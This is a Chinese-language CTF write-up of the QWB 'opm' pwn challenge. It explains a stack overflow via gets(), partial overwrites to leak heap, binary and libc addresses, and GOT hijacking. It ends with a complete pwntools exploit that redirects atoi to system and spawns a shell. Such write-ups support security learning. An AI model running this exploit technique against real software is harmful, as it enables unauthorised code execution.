opm
强网杯的一道题目当时没做出来。。。 看着像一个堆题目其实是道栈溢出题目,涉及到堆的知识比较少 唯一的技巧点在于巧妙地利用局部写
int (__fastcall **add())(__int64 a1)
{
_QWORD *v0; // rbx
__int64 v1; // rbx
size_t v2; // rax
__int64 v3; // rbx
char s[128]; // [rsp+0h] [rbp-1A0h]
__int64 addr_of_struct[16]; // [rsp+80h] [rbp-120h]
__int64 addr_of_name[17]; // [rsp+100h] [rbp-A0h]
unsigned __int64 canary; // [rsp+188h] [rbp-18h]
canary = __readfsqword(0x28u);
v0 = (_QWORD *)operator new(0x20uLL);
init_struct((__int64)v0);
addr_of_struct[0] = (__int64)v0;
*v0 = say;
puts("Your name:"); // func say
// name_addr->name(heap)
// len(name)
// punch
gets(s);
v1 = addr_of_struct[0];
*(_QWORD *)(v1 + 16) = strlen(s);
v2 = strlen(s);
addr_of_name[0] = (__int64)malloc(v2);
strcpy((char *)addr_of_name[0], s);
*(_QWORD *)(addr_of_struct[0] + 8) = addr_of_name[0];
puts("N punch?");
gets(s);
v3 = addr_of_struct[0];
*(_DWORD *)(v3 + 0x18) = atoi(s);
say(addr_of_struct[0]);
return (int (__fastcall **)(__int64))addr_of_struct[0];
}
两次gets都有溢出
-00000000000001A0 s db 128 dup(?)
-0000000000000120 addr_of_struct dq 16 dup(?)
-00000000000000A0 addr_of_name dq 17 dup(?)
-0000000000000018 canary dq ?
大致栈结构就这样 由于没有free函数,所以对于堆的利用比较局限 思路就是首先将 role1的结构体写到一个地址,然后把role2的结构体写到role1的name字段(堆上),之后把role2的地址也指向role1地址,这样就把role1的name打印出来,于是就可以泄露堆地址了。 由于事先我们并不知道地址是什么样,所以只能通过局部写改写地址的低字节 将role1的低字节覆盖为0010,而后添加role2,先通过第一次溢出把他的结构体搞到role1的name字段,这里可以通过把低字节改写成00做到(需要实现布局好堆结构,具体可以gdbattach调一下),而后再把role2地址改到0010 泄露完之后我们就可以将role指针随意的构造为堆上的地址了,我们最终的目的是把got表修改掉,这样就需要知道got地址和libc地址 泄露got地址主要就是构造一个伪造堆块,使他的name字段指向say函数,这样泄露地址就可以算出程序加载基地址,从而泄露got libc同样道理 这里需要注意strlen函数以0结尾,所以我们构造的伪造role长度只能为0x10,也就是说会改变下一个堆块的头部(topsize),需要维护好topchunk 改写的话就利用第二次溢出,把地址写到len字段,改写完成 这里可以选择atoi或者strlen exp:
from pwn import *
context.log_level = 'debug'
io = process('./opm')
elf = ELF('opm')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(name,punch):
io.recvuntil('xit')
io.sendline('A')
io.recvuntil('name:')
io.sendline(name)
io.recvuntil('?')
io.sendline(punch)
def show():
io.recvuntil('xit')
io.sendline('S')
add(0x70*'A','1')
add(0x80*'B'+'\x10','1')
add(0x80*'C','A'*0x80+'\x10')
io.recvuntil('B'*0x8)
leak = u64(io.recvline()[0:6].ljust(8,'\x00'))
log.success(hex(leak))
func_addr = leak - 0x30
fake_chunk_addr = leak + 0xc0
fake_chunk = 'A'*0x8+p64(func_addr)
payload = str(0x20171).ljust(0x80,'A') + p64(fake_chunk_addr)
add(fake_chunk,payload)
io.recvuntil('<')
func = u64(io.recvline()[0:6].ljust(8,'\x00'))
log.success(hex(func))
proc_addr = func - 0xb30
atoi_got = proc_addr + elf.got['atoi']
fake_chunk = 'a'*0x8 + p64(atoi_got)
payload = str(0x20171 - 0x50).ljust(0x80,'A') + p64(leak + 0xc0 +0x50)
add(fake_chunk,payload)
io.recvuntil('<')
libc_base = u64(io.recvline()[0:6].ljust(8,'\x00')) - libc.symbols['atoi']
log.success(hex(libc_base))
system = libc_base + libc.symbols['system']
log.success(hex(system))
add('s3cunDa',str(system).ljust(0x80,'A')+p64(atoi_got - 0x18))
add('s3cunDa','/bin/sh')
io.interactive()
这么简单题我为什么那时候没做出来。。。
PREVIOUSfastbinattack的一种花式玩法
NEXTret2dlrsvl